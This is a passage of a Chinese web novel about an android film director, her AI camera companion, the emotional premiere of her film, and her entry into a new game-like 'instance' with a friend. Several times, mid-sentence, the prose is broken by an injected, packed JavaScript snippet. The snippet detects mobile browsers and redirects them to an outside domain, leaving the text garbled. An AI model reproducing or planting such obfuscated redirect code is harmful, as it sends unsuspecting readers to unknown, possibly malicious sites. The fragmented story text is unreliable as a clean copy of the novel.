螺旋桨发动的声音响起,他索性飞起来在空中乱窜,这样既不会影响他发挥,也不会让骊执觉得烦。 ……看起来骂得不轻。 好好一个人工智能哪儿来那么大脾气。 甚至还偷偷给自己下载了人类生气表现图谱,学得有模有样的,跟楼上情侣吵架差不多了。 她敲敲他的听觉传感器,示意他把数据流同步给自己。 骊镜老大不情愿,转过镜头不看她,继续跟对面吵。 “……” 骊执还是拿到了那段数据,在她重复第二遍之前。 骊静还是以她意愿为主,传输了过来。 数据流开始和她自己的思维交汇在一起,像相融的江河。 她大概明白了原身老板的意思,他是想用一个似是而非的诈骗电话证明她有违规操作,拿到那笔六位数的违约金。 “如果我没猜错,你是想把自己账务的漏洞,推到我头上?” 骊执直直地看向光脑上那个虚张声势的男人,听着他愈发尖锐的、汽笛般的嘶吼。 “合同上的条款,写明了我应付的违约金是版权费的百分之十。” 文化贫瘠的星际时代本就优待创作者,更不用说骊执是正经八百官方培养的仿生人导演,优惠只会更多。 “百分之十……”男人喃喃地重复着,一是已经在刚才被骊镜骂懵圈,二是,他似乎这才意识到,眼前的人早就不再是以前那副呆呆的、逆来顺受的机械模样,想要因为刚才的“诈骗电话”问责的话堵在了喉咙里。 “嗯,也就是两百星币。”因为其实一部也没卖出去,只是被联邦自己收录了版权。 骊执给窗前的韭菜换了一批营养液,嘴角勾起一个填满嘲讽的笑。 “顺带一提,我觉得贵司里的营业额实在有待提高,我已经向监管部反映这个问题了。” 在男人愈发惊恐的目光里,她的笑容依然滴水不漏:“当然,是在我昨天解约后举报的……你的上级没有联系你我已经解约,也没有告诉你马上要受到相关部门检查,是想锻炼你,独挑大梁面对监管部的问责吗?” 下一秒,她熄灭光脑,徒留对面那个办公室里,崩溃得仿佛杀了人的咆哮。 “创造者,手脏了。” 处理韭菜的时候不可避免地粘上了营养液,骊镜屁颠屁颠地顶着一张纸巾飞过来,螺旋桨转得比平时更欢快。 骊执揩去手上的液体,像是把属于这个身份的过往与不公,一并带走了。 她向来“不是”个记仇的人。 她只是随手的,小小的报复一下而已。 哪怕这个身份的从前,也是系统捏造的。 “滴滴。”光脑上响起好友申请的提示音,骊镜瞬间窜过去,留下的风将骊执的头发吹起来一点。 “嗯?是有什么不对劲吗?” 骊执瞬间严肃起来。 进入赛博世界,更高级新颖的训练资源和优化算法让一人一机看得眼花缭乱,像找到一块巨型蜂蜜的蚂蚁,迫不及待咬下最诱人的一口。 骊镜最近自己研究了不少项目,将自己的算法升级了不少,她在忙着升维自己开发能力的同时也跟着帮忙,而最先被他俩提升的,就是骊镜的危险预警模块。 骊执低下头,闪烁着的光脑上,正滚动着一条热情洋溢的好友申请。 “骊执导演你好!我是文宣部许文齐,您投稿的《当雪飘向你》拍得太好了!请问哪天适合登门拜访,详谈合作事宜……” “……是文宣部的部长,来找我们合作的,”,摄像机静默了一小会,像是意识到自己过于警觉了:“只是担心有坏人……创造者,我是不是让你为难了?” 话是这么说,他却半步没有从骊执的光脑处挪开,仿佛要用镜头把那条好友申请照个窟窿。 “没事,没有为难。”骊执拍了拍他,“你要是不放心,可以自己来和这个人对接。” 她并不觉得这有什么不妥。 骊镜本就是她最强大的造物,是她在人工智能领域的意志延伸。 某种程度上讲,她们生来密不可分,共同进退。 这一次,镜头直直地对准了她的眼睛。 像是要记录住这个被全然信任的瞬间,记住自己是由她缔造又珍惜的存在。 开往贫民窟的悬浮车,坐上了一个小动作不断的男人。 他一会抬起光脑看看时间,一会检查一下被他抱在怀里的水果,脸上还一个劲地露出幸福的傻笑。 有被他吓到的乘客叫来了乘务员,乘务员急匆匆跟着乘客来到车厢,认出乘客所说的“精神不太正常的男人”是谁后,她不由得一愣。 “部长好。这是……” 许文齐听到了熟悉的声音,有些怔愣地抬起头,看向自己曾经的下属。 微白的鬓角间,他的眼眸灿若银星。 “我去见一个……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375995|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“好朋友。” 爬上挤挤挨挨的“鸽子笼”,许文齐喘着粗气,站到了那扇门前。 他第三次整理了自己的袖口,深吸一口气,按下了门铃。 门把手转动,窄小的出租屋里,站着一个——用他老家的话讲,“模样俊得很”的人,但比起外表,最吸引人的还是她那双眼睛。 眼神专注到近乎纯粹,虹膜是阳光下的融化琥珀,瞳孔深处在看向他时隐约闪过一串金色数据流——她并没有刻意掩饰自己的身份。 是仿生人。 许文齐瞪大了眼睛,拎着的水果咕噜噜掉在地上。 仿生人居然能创作出这样的作品! 她似乎是想起了两人还没见面时,许文齐闪烁在通讯器上,夸张到要把她奉为多年未见的知己般的热情洋溢,眼尾弯了弯。 “好久不见,”她伸出手,“老朋友。” “我是我第五个最满意的地方……” 时间不知不觉已经过去了三个小时,许文齐来不及喝茶,甚至完全没有意识到自己的语病。 “村民们从来没有停止过抗争。” 他也是在意识到这一点的时候,才惊觉之前的自己有多么错误。 文宣部不是一开始就这么冷清的。 最开始,和他一样想要用文艺作品改变世界的人们,几乎抱有相同的观点:用反映尼特星人们真实生活的影片,控诉联邦暴行,激发人们的反抗心理。 最初的那一批文艺作品的确激起了不小的反响,但慢慢的,影院的座位开始越来越空,卖出去的书籍也越来越少。 “看得人难受,还什么都做不了。” 叹息声重锤一般砸在许文齐身上,像是砸碎了那层单薄的侥幸,露出满是伤口的内里。 是啊。 人们不想一次又一次揭开自己的伤口,那只会让下次结痂变得更加痛苦。 “我们得转换思路,”,许文齐拍了下桌子,”我们得在作品里创造出一个强大的存在帮助人们,让人们看到胜利的好结局,才有看下去的欲望。” 他们创造了一个神。 一个孤零零的,将所有不公洗去的神。 影院的人又多起来了,人们开始期盼神的降临,神把他们救出尘世,打跑伤害他们家园的坏人。 甚至有从中谋利者看中了人们口袋里仅存的钱财,办起一场又一场“让祂降临”的活动,大肆敛财。 许文齐紧急叫停,再次否决了第二条路。 那换个角度……将一直以来压迫尼特星人的联邦换成正面角色,通过他们的回心转意带来希望呢? 他指导一个他看好的导演,拍下了一部隐晦深刻的影片,那里的联邦化身终于认清了自己的错误,试图重新弥补尼特星人。 “到底是谁在异想天开,指望那群腌臜货为自己的所作所为道歉?” “醒醒吧,别做梦了,营养液灌多了不止牙坏了,脑子也不清楚了?” 惨淡的票房让许文齐再次认清真相。 狂风怎么会在乎一片被自己吹落的叶子呢。 这件事狂风不屑一顾,被打碎在泥地里的叶子,也不会再奢求风那偶然的“善心。 直到现在。 他看向骊执勾画在晶石板上的创作思路,心口像是放了张大鼓,扑通扑通地剧烈震动。 是了。 人们本就不该将命运托付给任何人。 不管是虚无缥缈的神,还是有可能“幡然醒悟”的联邦加害者。 影片进度条指向最后,属于导演的数据流锋利如同利刃,狠狠刺向了黑暗处的加害者。 因为人类自己,就有能力以血肉之躯,抵挡恐怖本身。 17. 谁把我纪录片投成恐怖片了 “不用去奢求谁的施舍,也不用去等待谁成神明。” 红底黑字的标语闪现在城市的各大屏幕上,忙碌奔走在城市里的人们抬起头,看到的就是这样一条简单的宣发。 没有漂亮浓郁的彩色海报,没有当红明星的精致脸庞。 只有这样单纯有力的一句话,却像是影片本身剖出了真心,献给对它感兴趣的每一个人。 “李姐早上好!您也来看新片子啦?” 刚下星舰的李明瑞走进放映厅,在过道处看到几个隐约有些印象的身影,礼貌微笑着点头回应。 穿过和她打招呼的一众粉丝,她走向自己的位置坐定。 放下公文包,合上眼睛闭目养神。 为了赶这个片子的首映礼,她刚结束联邦中央星一个冗长到无趣的会议,就立刻启程前往尼特星,一路上连觉都没怎么补,全是老搭档的狂轰滥炸。 来之前许文齐那是好一阵软磨硬泡,又是跟她打了包票,说这次的片子绝对优秀得出乎所有人的意料;又说导演是个奇才,思维想法相当前卫大胆。 “……” 她当影评员多年,还是第一次见老许这么激动推销的脸,连一直好好戴着的眼镜都被他甩歪了,跟着了道似的。 “嗯,草莓味疗养液,谢谢。” 她接过小机器人送来的饮料,放到了一边。 她也看过基本信息了,这是个乡村恐怖片,导演还是个没什么代表作的新人,也是看在许文齐的面子上,不然这种一猜就是村口枯井爬女鬼、村里寺庙出恶神的片子,是无论如何入不了她的眼的。 “啊开始了开始了,你快别说话了。” 不远处聊得热火朝天的小情侣突然安静下来,李明瑞抬起头,看向已经变得一片雪白的屏幕。 “今天我们来到的地方,是位于东部山区的一个山村。” 镜头逐渐拉进,抬高,游客四人跟着小女孩机械生硬的脚步往前走,雪地里印下一串串或深或浅的杂乱脚印。 放映厅的灯光彻底暗下,四周除了观众的呼吸声,只剩下屏幕上的风雪呼啸。 镜头跟随着导演和那个小女孩,穿过那条诡异的村路,进入那个由水泥铸成的“房屋分配中心”。 星际时代已经很少有这么落后的建筑了。 就算是贫民窟,也该在二十年前改造完了。 李明瑞推断这可能是发生在二十年前的故事,对逼真的仿古建筑还算满意,点头继续往下看。 不知何时,可能是在注视到断眉男人冰冷目光的时候,可能是小姑娘把导演推开只身扑向石头的时候,她原本放松靠在椅背上的身体,慢慢坐直了。 “……” 她该如何评价呢。 这里不是她想象中的那种,劣质特效堆砌的廉价恐怖场景。 反而更像是一种……冰冷的,粘稠的,仿佛村子里那场大雪般无情的,渗入骨髓的绝望感。 她看到跳房子的格子如同命运的无形囚笼,看到那个小小的骰子滚动落地,随意决定着他人的生死。 她看到村长那张扭曲的脸,听到他用最官方机械的语调,宣布一个有一个冷酷到恶毒的规则。 她看向那个明明一直都勇敢聪慧、最积极的导演,最后拿到了代表“厄运”的黑色石头。 “运气不好?仅仅只是运气不好?”李明瑞听到自己几乎是从牙缝里挤出这几个字,和离她不远处的观众席里,传来一声下意识的低骂重合在一起。 导演那句发问像是一把冰冷的解剖刀,剖开了所有被“命运”和“运气”这类词汇所粉饰的、血淋淋的系统性不公。 镜头切换,当小姑娘的母亲掀起裤脚,露出那枚被黑色符文死死捆在脚踝上的石头时,放映厅里响起一片压抑的、倒抽冷气的声音。 晃动的视野里,恍惚间,李明瑞也感觉自己的脚踝也传来一阵幻痛,像被某种毒蛇盯上,死死地束缚,啃咬。 远景里,一排排不同色块的房子林立起来,像某种扭曲斑驳的色彩画。 紧接着,又被人用白色的雾气和黑乎乎的规则条纹狠狠毁坏掉。 威胁山村村民的不是鬼怪,那是比鬼怪更可怕的东西——以规则为名、以私欲为目的的不公暴力。 导演露出那双琥珀般清透的眼睛,平静地分析出“那根本不是运气,只是骰子觉得我们合适”时,李明瑞猛地攥紧了手心,指甲深深嵌入皮肉里。 她身边那个一开始还和男朋友嘀嘀咕咕的女孩,此刻正死死抓着自己的胳膊,眼睛瞪得铜铃一般,里面全是愤怒的火光。 故事的高潮在所有人期盼又痛心的目光里来临。 数据洪流中,故事的记录者选择孤注一掷的奔跑,记忆碎片破碎着铺满前路,锋利如刀。 脚步声像一记记重锤,砸在每一个观众紧绷到震颤的心上。 当骊执最终推开那扇数据之门,镜头以她的第一视角对准罪恶的加害者时,整个放映厅落针可闻。 没有突然降临的神明。 没有幡然醒悟的加害者。 只有村民们为导演铸起一条坚固的道路,支撑着她终于有机会窥得恐怖的全貌。 “这才是我们该有的命运,”浑身是伤的导演喘着粗气,手却依然稳稳地抓住疯狂攻击她的骰子,咬死不松开,“这才是你该有的下场。” 仿生人的数据流如利剑,出鞘向掌心,劈开了规则与不公。 故事的最后,是村民们终于破除数据的桎梏,从数据流的世界里脱身,于阳光下重获新生。 他们刮掉了不同颜色的颜料,房子带着划痕,变回原本的样子,像一片片棕色的叶子,重获新生,落地生根。 片尾,覆盖村庄的风雪散去,涓涓融雪声取代了暴风的嘶吼。 即将上路的人背起行囊,与帮助她找回世界的导演拥抱告别。 她的背影在初生的阳光下拉得很长很长。 “……” 片尾曲响起,是一首空灵而充满力量的哼唱,仿佛穿越雪原的风。 不过风声这一次带来的不再是大雪将至的消息,因为飘向世界的不再是雪,是用勇气重塑后的、亮闪闪的光。 灯光亮起。 放映厅里,是长久的死寂。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375996|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>没有人起身,没有人说话。甚至没有人去拿那杯已经变凉的,水果口味的疗养液。 李明瑞坐在那里,想抬起手回复光脑上,闪烁着许文齐头像的不停震动的消息,却突然感觉脸上有点凉。 她抬手一摸,指尖上是一片湿润。 她不是为了悲伤而哭。 她是为了那种在极致绝望中迸发出的、近乎倔强的希望而哭。 为了导演的极致冷静下的温柔,为了小女孩一家的牺牲与坚守,为了那句“你不是一个人孤寂、因为我相信你从未离去”的承诺。 “啪……啪……” 不知是谁先开始的,零星的掌声响起。 下一秒,掌声如同积蓄能量成功的枪炮,终于冲破管口,瞬间席卷了整个放映厅。 越来越响,越来越密,像某种节奏剧烈的鼓点,夹杂着难以自抑的抽泣和激动的议论声。 “太…太厉害了……”旁边的女孩一边用力鼓掌一边对男友说,眼泪糊了满脸,“这是,是……” 她“是”了半天,找不到合适的词。 “是鼓励和誓言。” 李明瑞轻声接上了她的话,起身看向影厅。 她看到刚才还在吐槽新人导演的粉丝们,此刻脸上都带着和她一样的震撼与动容。 他们互相看着,眼神里传递着同一种信息:朋友们,我们刚刚共同经历了某种非凡的东西。 那个新人导演,骊执。 她的一部片子,不仅仅讲了一个好故事。 她撕开了麻木,将规则制定者所有虚伪的伪装解离开来。 她注入了愤怒,把赤裸的不公展示在阳光下,刺目到窒息。 最终,她又用一种冰冷深处渗出温暖的方式,缝合了希望。 哪怕对手是恐怖的规则本身,是践行不公的世界顶层,我们也仍有机会反抗。 或许,更深层的。 李明瑞点开震动着的光脑,给许文齐回了三个大拇指。 许文齐的激动背后,在于他看到了影片最底层的逻辑—— 请用勇敢反抗不公,请不要放弃改变局面的星火。 哪怕属于尼特星的往昔是被联邦敲骨吸髓,只要还在勇敢,勇敢地保有自己对不公的反抗心,就还有机会爬出泥泞地,走向这个星球原本的结局。 她深吸一口气,手指飞快地操作,将自己影评人账号下刚刚写就的、倾注了所有激动与震撼的影评发了出去。标题只用了一句话: 【《当雪飘向你》:献给所有在寒冬中跋涉的你,一部重燃心火的壮烈史诗。】 做完这一切,她拿起那杯根本没动的疗养液,大步向外走去。 她要去见见许文齐。 不,不要先见他。 她要立刻马上下一秒,去联系那位骊执导演。 风声渐起,门外屏幕上的标语依然鲜红夺目:“不用去奢求谁的施舍,也不用去等待谁成神明。” 而现在,所有人仿佛都在这部影片里,看到了属于自己的“神明”——那是敢于直面暴风雪的夜晚里,将黑夜撕碎后迎来黎明的,凡人的身影。 18. 你是我的好朋友 放映厅外的走廊上,李明瑞的脚步轻快得像风,甚至有些急促。 但她却没能成功破出人群,放映厅外的人们并没有像往常一样,索然无味地迅速散去,正纷纷兴高采烈地向对方比划着什么。 他们三三两两地聚在一起,脸上泛起激动的红晕,相互间仍在热烈地讨论着。 “村长最后看镜头的眼神……我鸡皮疙瘩都起来了!” “导演到底是不是人类啊?她掰村长手那块帅得我腿软!” “呜呜呜我好心疼小妹妹……小妹妹最后还想去找妈妈……” 人群雀跃着分享着心得,为共同发现了一份宝藏而庆贺。 “他们都好勇敢,哪怕面对的是那么可怕的怪物。” “那我们是不是也能……” 周围的声音突然小了下来。 像是没入雪地的火光,轻轻隐去了。 但火星只要埋在雪下的枯草里,就终有引燃荒野的一天。 李明瑞看着一双双重新燃起希冀的双眼,拨通了许文齐的通讯:“免费场也尽快提上日程,片子的反响很好。” 李明瑞穿过这群沉浸在故事里久久不能平静的人们,仿佛穿过一片由共鸣组成的海洋。 每一个熟悉的词汇碎片在耳边响起,“骰子”“房子”“勇敢”“规则,都像一块拼图,共同拼凑出方才那场点燃全场的篝火盛宴。 她甚至看到一位衣着讲究、平日里对文艺片嗤之以鼻的商业片大佬,正红着眼眶,哑声对助理说:“……查一下,这个导演的信息……无论如何,合作机会一定要拿到……” 许文齐不知何时出现在了走廊尽头。 他像是接到通讯后就着急地冲出办公室,没戴眼镜,眼睛红彤彤的,像是偷来了一处恒星的霞光。 他的笑容真诚又温暖,嘴角咧得像拉满的弹弓,让李明瑞看着脸疼。 他整个人仿佛一个走了许多弯路但终于穿越迷宫、找到了珍贵宝箱的孩子王。 他隔着大厅里一整个喧闹的人群,精准地捕捉到李明瑞的视线。 他高高地、重重地竖起了一个大拇指,笑容愈发得意。 那是一个苦苦坚守的信徒,终于遇到了自己真正的神明,并让神明的温暖照耀冰雪覆盖的大地时,内心的狂喜与激动。 李明瑞的整颗心,都仿佛被这滚烫的喜悦塞满了。 她深吸一口气,空气中似乎还残留着影片中冰雪的气息,清新得彻底。 而冰雪深处,一种崭新的、名为“希望”的花朵,正被消融的雪水哺育着,预备破土而出。 “所以,导演人呢?” 急着见人的李明瑞包都没从手边放下,“是不是你把她藏起来了?” 头发梳得一丝不苟的干练女人站在房间里,毫不客气地打量着因为几日连轴转而显得有些凌乱的办公室,“这么多年连个文件分类都做不好,我要是导演,我就跑去跟联邦的李明瑞合作了。” 她好嫉妒。 许文齐走了什么狗屎运,找到了这么一块金光闪闪的宝贝疙瘩? 会客厅里,许文齐正满头大汗地招待着远道而来的影评人,倒茶的手被这句话吓得哆嗦了一下,抖得茶水都撒了出来:“这不是闭关去筹划新片子了吗。” 天可怜见许文齐,好不容易找到了一个相当争气的香饽饽,《当雪飘向你》刚一上映就靠格外新颖的设定和跌宕起伏的剧情吸引了一波观众,甚至反响好到出奇,甚至已经爬上尼特星区域网的热搜尾巴。 不少观众都纷纷自发地在评论区当起自来水,给身边人推荐这份来自暴风雪深处的礼物。 看到第一天上座率和票房的许文齐那是红光满面,人逢喜事精神爽。 结果,这香饽饽还没捂热乎呢,就长腿跑隔壁星球去了。 几乎是在影片播出完的瞬间,骊执跟她发消息商量——啊不,通知,声称自己要闭关几天,潜心研究下一部纪录片。 许文齐没敢吭声,好不容易找到一个这么有天赋的天才导演,肯定是以导演的第一感受为最优先考虑的因素。 只是,有件事他不免疑惑。 骊执不是恐怖片导演吗? 她说的拍纪录片是什么意思,要开发新业务了? 还有这等好事。 他喜滋滋地拍板放走了她,明明没有饮酒的习惯,激动的大脑还是晕晕乎乎。 而等李明瑞联络他对接导演的时候,他才惊觉——高兴早了,导演跑了,他现在连骊执的影都见不着了。 许文齐将茶杯再次满上。 他头大地看向被他劝到沙发上的李明瑞。 这姑奶奶从和他当小学同桌起就倔得很,还没桌子高的时候就是一副小大人模样,抱着手臂瞪着眼睛,认准的事十头牛都拉不回来。 而现在,她更是毫不客气地往这一坐,大有不等到骊执本人就不走的架势。 “李姐,你看……”许文齐搓着手,试图缓和气氛,“骊导她确实是有正事,艺术家嘛,创作需要灵感,需要闭关,咱们得理解……” 李明瑞端起茶杯,轻轻吹了口气,眼皮都没抬一下:“老许,你跟我打官腔?” 许文齐瞬间噤声。 “那就先跟我好好讲讲你的推广方案,”她放下公文包,掏出晶石板,“敢说你只是把能想到的大屏都用上你就完了。” 被两人一直念叨的骊执本人,并不清楚外面因她而起的腥风血雨。 “我不喜欢这条路。”她正坐在副驾驶上盯着灰扑扑的窗外看,冷不丁来了一句。 安夏正躺在后座上闭目养神, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375997|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻言一骨碌爬起来:“怎么个事?” 满仓园的邀请函同时发到了两人手里,此刻飞驰的无人驾驶飞行器里,后座的安夏趴到骊执的座位后方,极其欠揍地侧身躺过来,脸探到她的左手边。 “……” 骊执没想到到自己一句嘀咕引来了身后人的注意,“没什么。对不起,吵醒你了?” “创造者是在给我说话。” 一台黑色摄像机强势地挤了过来,“创造者心情不好?” “!——” 骊执脑海中闪过那张趴在透明墙壁上、因为她先去处理了严白的格子,眼神湿漉漉像被抛弃的小狗的那张脸。 这次她甚至没看安夏的表情,一把就把骊镜摁回去,阻止了可能即将爆发的“争宠”。 “……” 安夏撇了撇嘴,冲摄像机露出一个挑衅的笑。 这还差不多。 “本来就睡不着,”,安夏被骊执拎起来坐好,“这高科技飞行器就是不一样啊,一点不带有动静的,我有点瘆得慌。” 她闭上眼,像是开始回忆起地球上摇摇摆摆的皮卡,载着她前往一个又一个任务地点。 在路上,有时候她会有同伴,有时候没有。 她不止一次的问向周围,“任务做完,要不要跟我做朋友?” 雇佣兵们好整以暇地看着她,近乎戏谑。 似乎在好奇,已经阴差阳错来到了这种地方,拥有了这样的身份,又怎么会在乎真情呢。 她低下头,落在自己绑在腿部的武器上。 两条腿会迈向无数个方向,却始终带不走任何东西。 “发什么呆?” 有熟悉的声音唤起她,露出的一双琥珀瞳透亮。 骊执斟酌着开口,“其实是因为,这条路让我想到我小时候生活的地方,也是这么黑沉沉的憋得慌,所以不喜欢。” 她等了一会,“要是想知道,等出去后再跟你讲,现在快到地方了。” 像是上学时的同桌俩,马上要开始上新副本的“课”,来了句“下课后再聊”。 安夏噗嗤笑出了声,眼睛亮晶晶地盯着她看。 “好。” 差点忘了,这次不一样了。 现在,她的“锚点”陪她一起做任务。 她安夏,也有好朋友了。 飞行器缓缓降落,骊执和安夏一前一后地前走去。 “滴——NPC骊执已进入相关区域,副本‘满仓园生长季’正式开启!” 那扇破破烂烂、被深绿色的藤蔓缠了一圈又一圈的大门,缓缓为她们敞开。 “系统提示,NPC骊执,直播模式已开启。” “系统提示,为更好提升任务者对副本的融入程度,本场副本将附加负面效果:记忆缺失。” 19. 满仓园生长季一 骊执不知道自己走到了哪里,眩晕感一阵比一阵更剧烈。 大脑皮层的某一块像是被人活生生撕去,带来剧烈的、难以抑制的、因为残缺而起的焦虑。 黑色的流质像是把她拖入海的最深邃处,鼓动着漩涡将骊执一点点吞没。 那感觉绝对称不上好受,除了压迫着肺部的窒息感,还有一种绵密的、深入骨髓的恶心感。 是那液体般的黑暗一点点流进了她的耳朵和眼睛,像表面上温和无毒的黑蛇,带着唇齿上的黏液爬行。 骊执死死咬紧牙关,醒不来的噩梦里,指节在黑暗里兀得长出了尖刺,被她狠狠捅进自己的手心。 “滴答。” 温热的液体流了出来,一滴滴渗透入黑色洪流,被悄无声息地吞噬。 疼痛让她保持住最后的清醒,在感受到眼睛和耳朵处传来的细微的拉扯感、仿佛什么存在要一点点割下她的眼睛和耳朵,吞食掉后,她没有给自己留下犹豫的时间。 ——尖刺穿透了她自己的身躯,那蠕动着黑色的流体也被钉住,不动了。 “骊执!骊执!快醒醒!” 呼喊声像是急促的号角,一下子轰开了大脑里阴沉沉的霾。 骊执猛地坐起,胸口处有什么存在扑通扑通跳得极紧,像是曾被人活生生掏出又塞回去的心脏,因为受到惊吓而剧烈颤抖着。 她下意识摸向自己的心口,试探性地碰了碰。 “砰砰”。 敲击声随着她的动作响起,手掌下的躯干冰冷又坚硬。 “……” 骊执瞪大眼睛,一股难以言喻的寒意,小蛇般扭曲爬上她的心头。 那绝不是人类身体的触感,反倒像什么干巴巴的、闪着特殊光泽的金属。 骊执缓慢地眨了一下眼,身躯内部,无辜的能量核心在她意识到刚刚的危险是误判后,重新变得暖融融的,依然在尽职尽责的维护着她的生机。 周围似乎传来模糊的说话声,但一切像是灰烬般消散,被风吹得很远。 她的所有感受聚焦到刚刚的触碰和声音里,试图寻找可能存在的误解,试图证明自己还是个普通高中生,而不是个突然变异的机器怪物。 勃勃跳动的能源管线缠绕过身躯,像血管,生在在她身躯的每个角落。 她怔愣了一下,终于放弃说服自己。 掌心下,她的确有一颗金属的、依然在稳稳跳动的心。 “骊执?还愣着干嘛!要迟到了!” 彻底反应过来自己的构造后,她的大脑像是黑屏的终端,此刻终于重启成功,开始运行。 沉默地穿好鞋子后,余光里闪过来一个人影,还来不及抬头看,她就被什么人拉得一个趔趄。 “等,等等,我还没洗漱——” “你见过谁家仿生人要吃东西还要刷牙的?快起来!系统说我们要在六点半前到教室!” 仿生……人?骊执咀嚼了一遍这个只在科幻小说里听到过的词汇,抬头开始打量周围。 这里是一间非常“标准”的学生寝室。 她正坐在靠门的下铺,屋子里上下一共八张上下铺,深蓝色条纹的被子被叠成整整齐齐的豆腐块。 脚下的白瓷地板碎成蛛网,却干净得反光,连根头发丝的影子都没有。 骊执皱着眉继续观察,视线落到被她挂到床脚的书包上。 熟悉的灰色的双肩包被塞得鼓鼓囊囊,只有第二层放书的地方拉链坏掉,没有装东西。 她依然没有轻举妄动。 昨天她像往常一样结束晚自习,按部就班洗漱上床后,就做了个离奇的、被黑色怪物吃掉的噩梦。 醒来后,整个世界都透露出一种巨大的、陌生又荒谬的诡异感。 除了自己的大脑和书包,寝室是陌生的,身体是陌生的。 以及—— “怎么一直不说话……是因为进到副本里面,开始想到小时候了吗?” 她的眼前凑过来一双黑亮黑亮的眼睛,像两颗因为盛满关切而变得沉甸甸的葡萄,定定地望向她。 “……没事。”她扭开头,有些不自然地回应。 嗯,舍友也是陌生的。 安夏忧心忡忡地看向背过脸的骊执。 踏进那扇门的下一秒,安夏就感觉脑袋痛得不行,像是有什么东西在她脑袋上砸开口子,撬开了她的脑壳,从脑子里抽走了一部分东西。 她扶住脑袋咬牙去确认骊执的状态,却突然两眼一黑,如同落入黑暗的泥沼。 再次睁开眼,她就坐在了一间高中寝室的床上,她的对面坐着正眨巴着眼睛的骊执——但是是小号的骊执。 最常见的那种蓝白学生校服正松松垮垮地套在她身上,头发扎得很低,像是只是随手束了个马尾。 身形比现在更为消瘦的人似乎还没搞清楚什么状况,没有回应她第一时间的呼唤。 她凑过去仔细瞅瞅她,恍惚间,像是穿越时空回到了自己的学生时代。 小号骊执正毫不客气地回望她,虽然现在外表还是稍显稚嫩,但锐利的眼神已经有了后日凌厉的、利刃般飒爽的雏形。 安夏盯着那张白净的小脸瞅了一阵,终于伸出罪恶的手捏住:“还愣着?难不成还不认识我了?” 出乎意料的,手掌下的脑袋轻轻点了点头。 “谢谢你关心我,但是我不认识你。”骊执又摇了摇头,“我暂时还没搞清楚状况,所以我不能完全信任你的话。” 安夏的手僵在了半空,指尖还残留着对方脸颊微凉的、属于年轻肌肤的触感。 她静默了一会。 “骊执。” 她把手放下,轻轻捧住了属于对方的手。 仿生人的肢体总是低温的,了无生机的。 像是要把她因得知朋友安全而雀跃的心,无情地再冻住。 那双琥珀色的眼睛看向她的眼神里,多了一丝纯粹的、名为戒备的陌生感,清澈得让她心凉。 “……骊执不会骗我,对不对?”她的声音里带上了她自己都没有意识到的干涩。 不知道是不是因为那双攥紧她的手,逐渐加重的、仿佛听不到想要的答案就绝不放手的缘故,骊执直直的看向她,没有躲闪,也没有犹豫。 “不会骗你。” “你也不要因为我难过,因为没有只不认识你,这里甚至不是我的寝室,我也不认识这个学校。” 她皱着眉,又找了个安慰性质的解释。 “没准是平行时空发生了错乱,我来到了你的世界,像我们物理老师昨天上午讲的那样。” 寝室。学校。物理老师。 安夏突然意识带有哪里不对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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骊执闻言一愣,转头看向窗外灰蒙蒙的天。 推不开的窗户框柱了它狭窄的、毫无光彩的一面。 像孤儿院里时常阴沉着的一角天空,困住本该属于鸟儿的嘹亮盛夏。 铃声响起,被骊执一路扯着飞奔到教室的安夏气喘吁吁地瘫在凳子上,再一次震撼于仿生人的体格。 “抢饭抢惯了。” 骊执甚至云淡风轻地将包子油条递给她,自己很是自然地掏出一管能量液,放在一摞书的旁边,靠着课本压住它。 地球直播间上的观众被这一幕笑得前仰后合。 【 “来啦来啦,荔枝导演,我!来!啦!” “哈哈哈哈哈谁懂我的笑点,安夏刚刚发现荔枝导演失忆后:不养了吗?” “安夏被骊导牵着一路狂奔后:好的好的知道你还养了,但是可以不牵绳的,我自己走不容易摔哈哈哈哈哈” “本来听说是女高还挺高兴的,一看不对劲,怎么是我们四省的女高” “这个作息,这个站起来早读,这么一摞作业……包是四省的孩子” 】 “都打起精神来,没吃饭啊?”门外隐约传来脚步声,还有钥匙哗啦哗啦的碰撞声。 骊执正有些难以置信地看向自己的课本。 书名《三十天让植物变规范的从入门到精通》《五年植物工厂,三年员工培训》。 “……” 她的沉默震耳欲聋。 她不是正在备战高考的吗。 怎么还突然进厂种地了? 20. 满仓园生长季二 